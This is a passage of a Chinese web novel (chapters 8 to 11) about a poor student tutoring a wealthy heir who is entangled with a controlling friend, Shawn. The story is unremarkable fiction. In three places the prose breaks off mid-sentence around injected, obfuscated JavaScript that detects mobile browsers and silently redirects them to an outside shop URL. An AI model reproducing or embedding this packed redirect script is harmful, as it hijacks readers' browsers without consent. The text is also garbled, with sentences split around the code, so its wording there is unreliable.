他拉开房门,伸头往走廊上看去。只见蔡衍嘉靠墙蹲坐着,一手按着额头,电话居然还没打完。 “... No... I said he''s a private tutor... Don''t you think this is absurd?... I''m not being mean to you... I told you, you just won''t believe me..."”蔡衍嘉的英语发音极其优雅好听,语气却满是疲惫与无奈,“Go to your class first, okay? We''ll talk about it when you get back... No, I promise you,we’ll talk…Alright, baby...” 蔡衍嘉按下屏幕上的挂断键,深深呼出一口气,又将脸埋进两膝中间,一副精疲力尽的模样。 听这意思,合着就只耽误蔡衍嘉上课,“搭子”自己的课一点儿不耽误,这人真行!向天问一时义愤,忍不住走过去说:“你不觉得很不公平吗?他自己的事一点儿不耽误,却要求你牺牲自己、配合他的时间?” 蔡衍嘉抬头怔怔望着向天问,随后又无可奈何似的苦笑道:“我就想不到这种角度,永远说不过他。” “这种人心里只有他自己,你何必浪费时间跟他掰扯?不要理他就是了。”思来想去,向天问还是不忍心责怪这个糊涂的家伙,只盼望他能尽快清醒过来。 蔡衍嘉又深深叹了口气,有气无力道:“不是的,你不了解Shawn,他人很好的。” “我们8岁就一起去英国念书,读公学也一同寄宿,就像亲人一样。”蔡衍嘉似乎不愿意让向天问对Shawn有不好的看法,强打精神解释道,“他虽然是家里给我找的学伴,但人很聪明,成绩比我好多了,现在他在牛剑……” 向天问越听越觉得离谱,忍不住打断他:“你等会儿,你等会儿!你的意思是说,你家花钱让他陪你读书,结果你学了个‘0基础’、他考上牛剑了?” “然后现在你回国考大学,他还成天拉着你打游戏,跟你吵架、不让你专心学习?” “完了你还得哄着他、跟他道歉?”向天问说着,都无语笑了,“你不觉得这人有问题吗?这不把你、把你们蔡家当傻子骗吗?” 8. 第8章 蔡衍嘉那双黑白分明的眼睛,又呈现出震惊而迷茫的神色,愣了好一会儿才开口,却像心虚似的,只是低声咕哝:“你不懂啦,我和Shawn之间不会去计算这些。He is like a brother to me……” “你觉得他对你很好?可他明知你现在最重要的是考大学,还非要你陪他玩?就这么一小会儿没回信息都不行?”向天问觉得匪夷所思,“你又不欠他的!” 蔡衍嘉两手伸进头发里抓了抓,哀哀道:“欠啊,怎么不欠。要不是为了陪我,他也不用那么小就离开父母。” 听了这话,向天问一肚子“当头棒喝”,又被堵在喉咙里说不出口。斟酌了许久,他才想出一套稍微委婉的说法。 “再好的朋友、兄弟,也不用天天绑在一起吧。各人有各人的事,你总不能什么都不干,就时刻准备着陪他吧?” 蔡衍嘉看起来也很纳闷:“好朋友不就是随时随地be there for you?我就只有Shawn一个朋友,如果他需要我的时候,我不在;我需要他的时候,他也不在,那不是太孤独了?” 向天问心想,你还有一个朋友呢,我连一个朋友都没有,不一样长这么大? “我没说不让你跟他来往,只是你现阶段确实时间宝贵。”向天问认真道,“能不能跟他商量一下,约一个你们两个都方便的时间,比如他午休、你吃过晚饭的时候,每天定时定点聊上几句就行了,不要这样一直叮咚叮咚、一说好几个小时,可以吗?” 蔡衍嘉迟疑着点了点头,这才起身跟着向天问回到书房。 现在完成进行时讲完,向天问抽出一张五三,让蔡衍嘉挑一篇喜欢的阅读理解做做、放松一下。 蔡衍嘉却揉着眼睛说:“这怎么是放松呢?不过我真的累了,可以去睡会儿吗,向老师?” “不行,不能睡。”向天问说,“你现在睡了,到晚上又睡不着,昼夜彻底颠倒了。听我的,熬到晚上十一二点,等困得不行了再睡。明早我七点钟准时叫你起来,一晚上就能调回正常作息。” 蔡衍嘉连连摆手:“不行不行,我答应了Shawn等他下课再跟他聊。你不知道,向老师,每次我们吵架之后都会聊很久,聊到他觉得问题解决了为止。他今晚不会放我睡觉的。我现在不睡一会儿,晚上怎么吃得消?” 向天问心想,“每次”吵架?你们两个的关系怎么这么奇怪。不过他又反省道,他自己确实没有过这么亲密的朋友,万一真正的朋友就是这样相处的呢? 可蔡衍嘉的作息不能不调,向天问只得另想办法:“现在真不能睡。这样吧,你出去转转,把困劲儿熬过去。晚上他如果不让你睡,我来和他说。” 蔡衍嘉拗不过他,只好换上一身外出的衣服,准备下楼去社区转转、买杯咖啡。 向天问想,我也得跟着去。要不然,万一那个神经兮兮的Shawn再打过来,两人又掰扯半天。于是他也把手机揣进裤兜里,跟着蔡衍嘉准备出门。 两人并排坐在玄关穿鞋,蔡衍嘉突然扭头上下打量他几眼:“向老师,你就穿成这样出门?” 向天问低头看看自己身上的军训T恤和校裤,没觉得有什么不妥:“我的衣服都这样,怎么了?” “没怎么,哈哈。”蔡衍嘉嘴上说着没什么,脸上却闪过各样神情,又看了他好几眼,然后笑道,“反正要出去转转,你陪我买点东西吧。” 老季闻言走过来,拿起玄关处的车钥匙:“去港汇吗,少爷?我四点钟要接我家秋秋放学,你们去港汇的话顺路。” 蔡衍嘉点点头。 向天问心想,我是让你稍微休息一下,怎么就要坐车出去玩了?可眼看着蔡衍嘉郁闷了半天,此时才终于露出些许轻松的表情,他不忍心拒绝,就当是劳逸结合吧。 “晚饭前能回来吧?你今天还要背一篇范文。”走到电梯前,向天问不放心,又补了一句。 蔡衍嘉伸手搭上他肩膀,冲他眨一只眼:“Alright, Daddy!” 害得向天问又是浑身一僵。 老季把车开进商场地下停车场,蔡衍嘉带着向天问乘电梯来到一楼。 在此之前,向天问见过的最宽敞明亮的室内空间,是县一中的大礼堂——一个能装200人的阶梯教室。 眼前这个足有6层楼高、跨度一百多米的开阔中庭,令他吃了一惊。从一块块玻璃窗组成的穹顶向上望去,蓝天白云宛如一幅幅调色高明的风景画。 空气冰凉,散发着幽香,优雅的钢琴曲不疾不徐,他不由得放慢脚步,连呼吸都变得缓慢悠长。 蔡衍嘉领着他径直走进一家招牌朴素的店铺,他在心里试着拼读店名,发现读不出来,可能不是英语。 “蔡先生,好久不见。”西装革履的店员迎上来,眉飞色舞地向蔡衍嘉打招呼。 向天问惊讶地发现,这男的怎么还化妆了?身上的香水味也很浓。 蔡衍嘉对店员点点头,看了一眼向天问:“这是我朋友,看看衣服。” “这边请。”店员带着他们走进店面深处的另一个空间,里面像个客厅,有沙发、茶几,电视、冰箱,还有整整三面环绕式大镜子。 蔡衍嘉大大落落往沙发上一坐,像在自己家一样。 向天问心想,你不是要买衣服吗?外面挂着那么多衣服你不看,怎么还坐这儿歇上了? 另一个店员用托盘端进来两个窄窄的高脚玻璃杯,里面盛了半杯冒着气泡的浅金色饮料。 向天问急忙说:“谢谢,谢谢。”然后学着蔡衍嘉的样子喝了一口。 是酸甜的果酒,他想了想,突然意识到,这应该就是香槟吧,真好喝啊! 接着,西装店员手上提着几身衣服走进来,站在他们对面兴冲冲地介绍起来:“今年春夏款,颜色还是以经典黑白灰为主,局部点缀一些kpop风的元素,算是比较大胆的尝试了。不知道蔡先生能不能接受,我觉得还蛮好搭的。 “这件领口镂空,露出一点锁骨,比较调皮的小性感啦。有客人觉得这个挂件画蛇添足,不喜欢的话可以帮您去掉。” “然后这件,我个人觉得非常适合。不是所有客人都能撑得起这种构造,五官立体的话才会有那种感觉……” 接连展示了四五件,蔡衍嘉始终不发一言。向天问心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646949|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里嘀咕道,你不告诉人家你想要什么样的,怎么买?却见蔡衍嘉懒洋洋靠在沙发上,竟像是在放空。 这时,刚才送香槟的女孩儿又进来,这回托盘上是几块精致的点心和糖果。 蔡衍嘉随手拿起一块黑乎乎的塞进嘴里,扭头对向天问说:“嗯,薄荷的,你尝尝。” 向天问心想,你到底要买什么?别人辛辛苦苦介绍半天,你一句话不说,就光坐这儿白吃白喝?他渐渐坐不住,眉头紧簇、半边屁股都离开沙发了。 又过了一会儿,蔡衍嘉终于有了反应,居然问向天问:“都不喜欢吗?换一家再看看?” 向天问愣住,这才意会过来,原来蔡衍嘉是要给他买衣服?! “那蔡先生您有喜欢的吗?”店员拧着身子在蔡衍嘉身边坐下,又把手中的平板电脑递在蔡衍嘉面前,凑近嗲声嗲气道,“刚刚给您看的都是新到的未上架款,要不您再看看有没有感兴趣的经典款?” 蔡衍嘉用下巴指了指向天问,店员便冲向天问道:“您试试这件方格的?我觉得很适合您。对吧,蔡先生应该能get……” 向天问连连摇头:“我不买衣服。而且这是菱形,不是方格。” 店员嘴角抽动了一下,笑道:“没事的,不买也可以试试啊,让蔡先生看一下嘛。” 从一进来,向天问就觉得这个店员态度怪怪的,对蔡衍嘉格外殷勤,看他的眼神却明显带着几分熟视无睹。 这个店里的东西显然价格不菲,不然也不会有这么好的服务。店员知道有钱消费的是蔡衍嘉,他只是个“来占便宜的”小跟班。 人家开门做生意,对客人区别对待也无可厚非。向天问只是心里怄得慌,却不知道该怪谁。 “不用了,走吧。”他起身就往外走,又回头冲店员客客气气说了句“谢谢你”。 两人出了店门,蔡衍嘉偏头看他一眼,说道:“你恐同啊,向老师?” “嗯?”向天问没听懂他的问题。 “那个Sales,你不喜欢他?”蔡衍嘉露出意味深长的笑容,e on,你很明显诶,就差把‘歧视’两个字写脸上了。” 向天问一头雾水,“歧视”?我歧视谁? 蔡衍嘉一条胳膊搭住他肩膀,摇头笑道:“你知道吗?性取向是天生的,他们也没得选;你不能因为他们跟你不一样,就排斥他们啊!” 向天问这才听明白,蔡衍嘉以为他不肯试衣服,是因为他歧视那个举止有点娘娘腔的店员。 同性恋这个东西,他以前了解过。就在邱越峰那件事发生后,他心里有很多疑惑与不甘,还特意在学校机房上网查过。 男的不喜欢女的、喜欢男的,是挺奇怪的,但那是别人的自由,这一点向天问能懂。至于说歧视,那根本不存在。就算他知道邱越峰是同性恋、还偷偷对同宿舍的人做那种事,他也从来没有看低人家一眼,更何况是对这个素昧平生的店员。 “我没有歧视同性恋。”向天问停住脚步,严肃地澄清道,“我只是不想……” 这怎么解释?他百口莫辩,心里不禁窝火。左思右想,只能用行动来证明自己不“恐同”。 9. 第9章 向天问掉头回店里,走到那个店员面前,恭恭敬敬地说:“你好,麻烦您帮我把那件‘方格’T恤拿来,我试一下,可以吗?” 店员依然笑得像个假人,又把他带进刚才那间小客厅。 换上那件T恤后,向天问看向镜子,镜中人看起来竟有几分陌生。不知道哪里不一样,反正就不一样了。对比之下,下半身那条深蓝的校服运动裤,就显得有点儿奇怪了。 有人叩响镜子门,店员温柔的声音传来:“给您搭了一条工装裤,一起看看效果?” 向天问把门拉开一条缝,接过来换上。他突然意识到,自己其实没怎么照过镜子。 以前总有人说他“长得帅”,他从没听进去、当回事。此时镜子里的他个高腿长,在菱形立体格纹图案的映衬下,显得棱角分明、气质冷峻,好像确实还挺帅的。 这念头令他迅速烧红了脸,不好意思再往镜子里看。 他走出来时,店员又侧身坐在蔡衍嘉身旁,笑得见牙不见眼。 “对吧!”店员拍了下腿,对蔡衍嘉说道,“我就说吧,他肯定撑得起来!真的是,model都穿不出这种感觉。”又问向天问:“我能拍几张照片吗?拜托拜托!” 蔡衍嘉抿嘴憋着笑,冲向天问连挑几下眉,好像在说“我看你歧视不歧视人家”。 向天问咬紧后槽牙强忍尴尬,乖乖站着让那人拍了好几张。 “可以。”蔡衍嘉一声令下,店员不知从哪儿变出来一把小剪刀,掀起向天问身上的T恤下摆咔哒一下,剪下吊牌。 向天问接住剪下来的几张小卡片,看到上面的数字,心里又是咯噔一下。 一件短袖950?裤子的价格他都不敢看多少,怎么也得一千多。这一身加起来,顶他半年学费了。 工资还没到手,已经欠蔡衍嘉一万三。本就负债累累的他,只觉得雪上加霜。可如今骑虎难下,再说不要已经来不及了。 蔡衍嘉拿出一张卡递给店员,不一会儿,店员提着两个印着商标的大纸袋过来,问向天问旧衣服还要不要。 “要,要的!”向天问赶忙申明,看着店员帮他把军训T恤和校服裤折好、放进纸袋里,这才放心。 又一次走出店门后,他无比肉疼地拿出纸袋里的小票,想看一眼准确价格,却被上面的五位数字吓得倒抽一口冷气。 “怎么这么贵?”他脱口嚷道,“T恤不是950块钱吗?” 蔡衍嘉漫不经心道:“950欧。怎么可能950块?今年的新款诶。” 向天问顿时背后一凉,两腿发软、几乎站不稳。 “能退吧?就穿了一下下……我现在退可以吧?还没穿走!”他急得直冒汗,却被蔡衍嘉拽住手腕,不让他回去。 “求你了,真的,我穿不了这么贵的衣服,会做噩梦的!”这话不假,事实上,他仿佛现在就能感觉到从四面八方射来的或谴责、或讥笑的目光,甚至已经脑补出人们对他指指点点、说他“骗子、假贫困生”的窃窃私语声。 蔡衍嘉见他这副窘相,大发善心道:“其实我也很喜欢这两件,你不要的话,就给我吧。” “真的吗?可我穿过了,你还想要吗?”向天问不敢相信蔡衍嘉的话,却又舍不得松开这根“救命稻草”。 “没事,回去洗干净再给我就是了。”蔡衍嘉仿佛看穿他的心事,揽过他肩头拍了拍,“不过,你要答应我一件事——” 蔡衍嘉直直看进他眼里,表情十分严肃,仿佛在说一件生死攸关的要紧事:“你不可以歧视同性恋。” 事实上,自见面以来,向天问从未在这个人脸上看到过如此认真、如此笃定的神情。 “好。”向天问郑重点了点头,“我不歧视同性恋。” 蔡衍嘉满意地笑了,又恢复那副轻松自在的模样。 “不过你真的要买几件正常衣服,向老师。你要上大学了,没人再把你当小孩子;你穿成那样,谁会尊重你呢?”蔡衍嘉说。 向天问心想,什么叫正常?一万多块钱的衣服才不正常吧。马上一开学,又会发两套军训服;而且等进了校礼仪队,人家还给他订做两身呢。 他怕蔡衍嘉再拉着他进别的店,赶忙岔开话题:“季叔应该接到孩子了吧?他来接我们,还是我们自己回去?” “他已经到了,在下面车库。”蔡衍嘉只好跟着向天问走进电梯。 老季的车就停在负二层的电梯口。副驾驶座位上有个七八岁的小女孩儿,正低头摆弄自己书包上挂的玩偶。 两人坐上后座,老季对女孩儿探了探下巴:“秋秋,叫人啊。” “Hello, Vincent. Hello, 向老师。”女孩吐出两句念课文似的问候,头也不抬。 “Hi, Rachel.”蔡衍嘉也回了一句“课文”。 老季无奈笑了:“今天她妈妈加班,钟点工阿姨请病假了,只能我接她。我先把你们送回去,再带她回家。晚饭就不陪你们吃了,抱歉。” 路上老季对女儿说,向老师学习可好了,是高考状元呢。秋秋这才扭头看了向天问一眼,“哇”了一声,便又转回去,继续捏手里那个龇牙咧嘴的丑娃娃。 一下车,蔡衍嘉憋了一路似的,撇嘴吐槽道:“她不喜欢我,每次见到我都这样,我都不知道哪里惹到她了!” 向天问愣了一下,意识到他说的是秋秋。 “你抢了她爸爸。”向天问毫不费力就想得通透,“季叔几乎24小时在你那儿,很少回家吧?” “怪我?”蔡衍嘉刷开电梯,嘟囔道,“老爷子派他盯着我,你以为我想啊。” 周姨已经做好四菜一汤、一大锅饭,吃饱喝足后,向天问立刻催着蔡衍嘉回书房背范文。 刚把这篇“感谢信模板”适用于哪些话题讲完,蔡衍嘉的手机就响了。 算算时间,应该是那个Shawn午休、闲下来了。 向天问面色一沉,盘算着如何能让他们早点儿聊完,却听蔡衍嘉对着手机说:“不用了。你难得回一次家,今晚别过来了……有向老师呢,他说我背不下来就不许睡……没事,我们可以点外卖……嗯,就这样。” 蔡衍嘉放下手机,拿起范文嘟囔着念了两句,就往桌上一扔:“这什么破词?‘It is my great pleasure to show my heartfelt thanks to you for your hospitality and courtesy……’没有人这样写email的!” “那怎么写?这是高考原题的满分范文。你写的那些句子都太短,用词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646950|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也过于简单,体现不出词汇量和写作能力,得不了高分……” 说着,手机又响了。蔡衍嘉一看,立刻如临大敌似的站起身来,对着手机叫了声“Baby”。 向天问张开五指,轻声说了句“五分钟”。蔡衍嘉点点头,拿着手机走出房间。 五分钟能说很多事了,向天问心想,如果他们到时间还聊不完,他就走出去,用谴责的目光逼蔡衍嘉挂断电话。 可没想到,才过去三分钟,蔡衍嘉就推门走进来,竟还把手机递到了向天问面前:“向老师,这是我的好兄弟Shawn陈子骁,你可以和他聊两句吗?” 向天问一时错愕,接过手机才发现摄像头开着,是视频电话。 原本他设想的Shawn,是和蔡衍嘉一个类型的公子哥儿形象,可此时画面里的人面容秀气、戴着眼镜,斯文得甚至有几分羸弱。 “向老师,幸会。”陈子骁的普通话比蔡衍嘉差多了,“不好意思,打扰你们功课了。” 这人明明一副很不高兴的神情,却刻意露出讨好般的笑容,让人感觉很不舒服。向天问不跟他客套,直截了当地说:“嗯,我们在复习英语,今天的学习任务还没有完成。” 陈子骁显然没料到他会这么不客气,嘴角抽动了两下,顿了顿才又说道:“让你费心了。我都不知Vincent还要补习英文,他英文很好的。” “高考英语要求很高,特别是读写,不好好准备是不行的。不过他别的科目确实基础更差一些,所以时间很紧迫,以后不能天天打游戏了。”向天问说着瞥了蔡衍嘉一眼,发现这货站在旁边装作若无其事的样子,正用手抠桌沿。 “是蔡先生请你替Vincent补习?”陈子骁的目光幽幽看向蔡衍嘉的方向,“那我就放心了。Vincent有你这样的严师,一定会学业有成的。那就不打扰了,byebye。” 视频挂断,蔡衍嘉明显大松一口气。 与Shawn的沟通居然这么顺利,向天问感到有些意外,虽然这人态度怪怪的,倒没有蔡衍嘉说得那么难缠嘛。 两人便又坐回桌边,蔡衍嘉深深吸一口气,耐着性子念那些长长的拗口词句。 不一会儿,手机接连叮咚两声。蔡衍嘉拿起来放在耳边,一边听语音消息,一边手捂额头,发出一声懊恼的呻吟。 “怎么了?”向天问忽然有种不祥的预感。 蔡衍嘉在屏幕上点了一下,将其中一条消息外放,里面竟传来唏唏嘘嘘的哭腔。 “对唔住,我唔应该烦住你?……你有咗new friend啦,佢又叻过我,又靓仔过我,仲识得管住你、教你上进……我本应替你开心?,但系我真系好惊,惊自己会失去你……咁呢个世界就再冇人……对唔住,唔使理我啦,我只系好唔舍得……” 向天问听不懂粤语,却大致能猜到这人在说什么。 有病吧!他心里直犯膈应,一个大小伙子,成天为屁大点儿事唧唧歪歪的,还哭?怎么,不允许朋友上进?朋友为自己的前途努力、不跟你玩了还不行吗?死皮赖脸的! 正想说“别理他”,却见蔡衍嘉也眉头紧蹙、一副快要哭了的模样,拿着手机又要往外走。 向天问噌地来火,一把拽住蔡衍嘉的手腕:“放下。不背完这篇,你哪儿也别去。” 10. 第10章 蔡衍嘉显然没料到他会有如此举动,不由得愣住了。 向天问也觉得自己是不是太凶了,于是放软语气,又轻声说了句“坐下。” “向老师,我就回一条,让他别哭了。”蔡衍嘉坐了一半,又站起来,“是我害他这么难过,总不能不管他吧?” 向天问都气笑了:“怎么就是‘你害他’了?你一直照顾他的情绪,他却不尊重你的时间安排,明明是他害你吧。” “是我说‘不能一起玩了’,他才这么伤心的。”蔡衍嘉执迷不悟,“我就跟他解释一下,不是说以后都不能一起玩……” “最后是我和他聊的,照你这么说,是我害他‘这么难过’。那就我来负责吧,你背你的书。”向天问向蔡衍嘉伸出一只手。 蔡衍嘉十分不情愿,却被他危言正色的模样震住,只好把自己的手机交到他手里。 屏幕上又接连弹出好几条语音消息,向天问懒得听,直接打字回复道:“你刚才不是说‘不打扰了’吗,又发这些干什么?” 这一条回过去,对面终于消停了。 蔡衍嘉抓着脑袋、抖着腿,念叨了十几分钟,就说“背好了”。向天问让他用纸笔尝试默写,果然,那些长长的“高级”词汇他一个也没拼对。 “这叫‘英文很好’?”向天问忍不住揶揄道,“你们贵族学校的学生不用写作业吗?” 蔡衍嘉面露尴尬:“写呀,怎么不写?不过,Essay太难了,我写不出来,Shawn会帮我……应付一下。” 呵呵,原来如此。向天问简直无语,蔡家交两份学费倒也不冤枉,人家陈子骁确实学了两份呢。 于是他又指导蔡衍嘉抄了几遍单词,连催带哄又是一个多小时,蔡衍嘉终于涂涂改改、勉勉强强默写出一篇文章。 向天问如释重负,短短两个小时,感觉比自己学了一整天还累。 蔡衍嘉则是一副成就感满满的样子,拿着那张默写纸翻来覆去地欣赏,露出满意的笑容。 “好了,任务完成了。”向天问把手机还给蔡衍嘉,“适可而止,不能耽误睡觉。” 蔡衍嘉连连点头,接过手机赶紧划开。 真是闲得慌,向天问腹诽道,蔡少爷的生活太容易了,非要无病呻吟、给自己找点儿不痛快才行? 他打算回房间,赶紧把这身一万多的“烫手山芋”脱下来洗洗。可刚拉住门把手,就听身后传来一声惊呼。 “诶?不是吧!”蔡衍嘉叫道,“他,他怎么把我删了?!向老师,你跟他说什么了?” 向天问咬牙缓缓吐出一口气,耐着性子回到桌边。 “我没说什么,就回了这一句——”他指着蔡衍嘉的手机屏幕说。 “这一句?哎呀,他一看就知道不是我回的,我哪会打简体字啊向老师!”蔡衍嘉嚷嚷起来。 “删了就删了吧,省得他再烦你。”向天问没好气道。 蔡衍嘉急得两手抱着脑袋抓头发。 向天问仔细一看,陈子骁在删好友前还发来两条。 其中一条是一张照片,画面中蔡衍嘉手拖行李箱,透过一扇玻璃门扭身向镜头挥手;另一条则是一句英语:If I had known it was our last farewell, I wouldn''t have let you go. “如果我知道这是我们最后一次分别,我就不会让你走了。”向天问默默翻译成中文,心想,啧啧,这人可真矫情。 他拍拍蔡衍嘉肩膀,指着这句话道:“你看,这就是一句非常标准的虚拟语气加完成时的例句。” 蔡衍嘉抬起头来,满是忧伤与焦虑的大眼睛直直看进他眼里。可忽然之间,抿紧的下垂嘴角缓缓上扬,拧成一团的纠结眉眼,竟舒展成一个忍俊不禁的笑。 “噗哈哈哈哈——”蔡衍嘉手按额头,笑得浑身都在抖,“向老师,你……我真服了,艹!” 向天问愣了一下,才反应过来,这的确不是一个分析语法的好时机。 蔡衍嘉又笑了一会儿,笑得眼角带泪,才终于平静下来。接着,他给陈子骁发送了好几次好友申请,都如石沉大海;又给陈子骁打了几个电话,也都被挂断了。 “不早了,你先洗洗睡吧。等他冷静一下,明天再联系他。”向天问看着墙上挂钟,指针已经划过11点整。 蔡衍嘉因沮丧而显得有些呆滞:“没用的,他冷静不了。” “他以前也这样,动不动就删好友?那后来都是怎么加回来的?”向天问越来越觉得,陈子骁这个人并非看上去那样柔弱无辜。 “我去找他。”蔡衍嘉说完这四个字,脸上露出一种近乎绝望的神情。 “你去找……你去英国找他?”向天问大为震惊,“你经常去吗?你爸知道吗?” “也不是很经常。大概两三个月去一次吧。Shawn有时候生很大的气,我不出现在他面前,他是不会原谅我的。”蔡衍嘉可怜巴巴地说,“向老师,求你别告诉老爷子,好吗?” 向天问失语怔住,半晌才说出话来:“你的证件不是被你爸收走了吗?” “挂失重办的。”蔡衍嘉长长叹出一口气,苦笑道,“其实我高考前两天还去了一趟英国,坐红眼航班回来,直奔考场。” “向老师,你是不是觉得我很蠢啊?我知道,你们都觉得我和Shawn的关系很畸形……我知道的,我怎么会不知道呢?” “很早以前就有人对我说,Shawn是个控制狂,他就像藤蔓一样,一直攀在我身上、绑住我、吸我的血……迟早有一天,他会勒死我的。” “可我没有办法,我离不开他……他是我唯一的亲人,是这个世界上唯一在乎我的人。有时候我甚至觉得,如果我死了,只有他一个人会为我哭……” 不知道为什么,向天问被蔡衍嘉绝望的表情刺痛,一种既悲伤又愤怒的情绪,如同乌云和巨浪般涌上他心头。 “你哪儿也不准去。”向天问一开口,严厉的声音甚至把他自己都吓了一跳,“手机给我。” 蔡衍嘉也被吓住,将手机解锁、乖乖递上。 向天问划进去后点开微信,把名为“ShawnBB”的联系人先拉黑、再删除;又在系统里搜索“Shawn”、“骁”,把每个软件里和那个人相关的东西统统清除,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646951|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像他无数次删除他爸手机里卖“神药”的骗子和求打赏的女主播那样。 “你现在去洗澡、上床睡觉。”他对蔡衍嘉下令,“睡不着的话,再把那篇范文背几遍。” 说完,他转身就走,不给蔡衍嘉任何讨价还价的机会。 当家教可太辛苦了,比抗一天猪、挖一天煤还累。巨大的花洒将温热的水流浇在向天问头上,洗去身体上的紧绷与心头的负累。 他提醒自己把心思放在正经事上,盘算着明天带蔡衍嘉刷哪套题、背哪篇作文;写字也得加上,从“上下左右、人口耳目”练起,每天花一个小时,两个月内把3000常用汉字过一遍…… 思考这些事儿,对他来说是令人安心的快乐。很快,洗完澡的向天问又恢复了踏实和平静。 他擦干身体,穿上短裤走出浴室,却被房间里另一个人的存在吓了一跳。 “向老师。”蔡衍嘉左右手各拎着一个印着字母的酒瓶,坐在他床前的软包长凳上,满脸无奈,“我睡不着,你能不能陪我喝点,助助眠?” 不是,你们城里人到底有没有隐私观念?!向天问半裸着十分尴尬,慌忙蹲在编织袋包袱前翻找。可越急越乱,怎么也找不着另一条夏季校服裤子。 “向老师,你的内裤也该换新的了,又薄又透,还挺性感的。”蔡衍嘉打趣他道。 向天问的脸瞬间发烫,不知道该站起来还是继续蹲着,躲无可躲。 “这里有睡衣,喏。”蔡衍嘉拉开衣柜门,从里面取出一套银灰色丝滑柔亮的短袖长裤,递给他。 他没空多想,赶紧接过来穿上。 “不早了,我要休息了,你也回去睡吧。”向天问定了定神说。 蔡衍嘉不肯走,反而眯眼笑道:“我记得Shawn的号码,你不看着我,不怕我打给他?” 向天问听出这话的意思:蔡衍嘉明知不应该再联系Shawn,却怕控制不住自己,只好向他求救,让他“看着”自己。 这个陈子骁太恐怖了,向天问甚至有些同情这位被所谓的朋友“精神控制”的蔡少爷。 于是他接过一个酒瓶,仰脖喝了一口。入口清凉却不刺激,满口甘甜的麦香直沁心脾。这也是啤酒?和三块钱易拉罐装的是同一种东西?! “我们去露台吧,你这儿连个靠的地方都没有。”蔡衍嘉带他穿过走廊,来到一个足有四五米长的开阔阳台。 地上有几个无脚沙发,虽然颜色、形状各不相同,搭配在一起倒十分和谐好看。 两人各坐进一个沙发里,并排遥望着无星无月的苍茫夜空。 蔡衍嘉忧郁的侧脸在暗夜里白得发亮,高挺的鼻梁投下一道优雅的阴影,美得令人挪不开眼。 向天问不禁怅然,含着金勺子出生、长成这样的人,居然也会有烦恼,世界上真的有幸福快乐的人吗? 两人双双沉默了好一会儿,不知不觉酒瓶空了。 那个一直萦绕在心头的问题,此时此刻正如房间里的大象一般,令他无法回避。 “其实我不太明白,”向天问开口有些迟疑,“就是……你为什么离不开他?你们两个……是那种关系吗?” 11. 第11章 “不是。”蔡衍嘉对这个问题既不感到意外,也不觉得被冒犯,态度十分坦荡,“我们太小就认识,实在太熟了,根本不可能对彼此有那种想法。” “其实Shawn曾经和我的几个朋友试过,但都没有好结果……”蔡衍嘉垂下眼帘,似乎有些懊恼,“如果不是我,他就不会认识那些烂人、受到那么多伤害。” 怎么什么事都往自己身上揽?向天问诧异道:“这和你有什么关系?是他管不住自己,咎由自取罢了。” “也不能这么说。”蔡衍嘉尴尬地挠了挠头,“人都有自己的喜好,Shawn偏偏喜欢直男,这也是没办法的事。那些人明知自己不可能改变取向,还骗身骗心、占他便宜,就很贱啊!” 向天问听不太明白,也懒得追问,便说道:“总之,你不需要为他的人生负责,你有你自己的路要走。” 蔡衍嘉又把手伸进微卷的头发里抓呀抓,哀声嘀咕:“哎呀我知道,我知道。这些道理我都懂,可我就是……有些东西不是说想放下,就能立刻放下的,我需要一点时间……” “你需要的不是‘时间’,而是一张卷子。”向天问介绍起自己摆脱“心魔”的经验,“拿着卷子,你就想,今天这套题一个都不能错,一个小小的失误都不能有,每一个字都要写得格外端正漂亮才行。只有全神贯注、提起十二分警醒,才能做到零失误、一点儿都不错。” “注意力都在题目上,你就不会留意到那些烦恼和乱七八糟的感受。如果你足够专注的话,甚至连饿肚子的感觉、冷得发抖的感觉,都会消失。” 向天问说着,回忆起从前刷题的快乐时光。当他沉浸在眼前的方寸世界中,那些令他感到不堪重负的旁人的眼光、社会的评价、还不起的债务和报答不了的人,通通消失于无形。那种瞬间卸下千斤重担般的轻松与自在,如今想来仍令他唏嘘神往。 蔡衍嘉当然不会懂,只是瞠着好奇的大眼睛,呆呆望着他。 良久,蔡衍嘉终于开口,语气格外温柔:“向老师,你现在肚子饿吗?” “嗯?”向天问没料到他会突然问这个,愣了一下。 “这个时间点不到外卖了,”蔡衍嘉划开手机,“不过可以让物业管家送餐上来。” 说到这个,倒真有点儿饿。动脑子是很消耗能量的,学了这么久,蔡衍嘉大概也饿了,于是向天问站起来说:“这么晚了,不要麻烦别人。我看看家里有什么,随便弄点儿吧。” 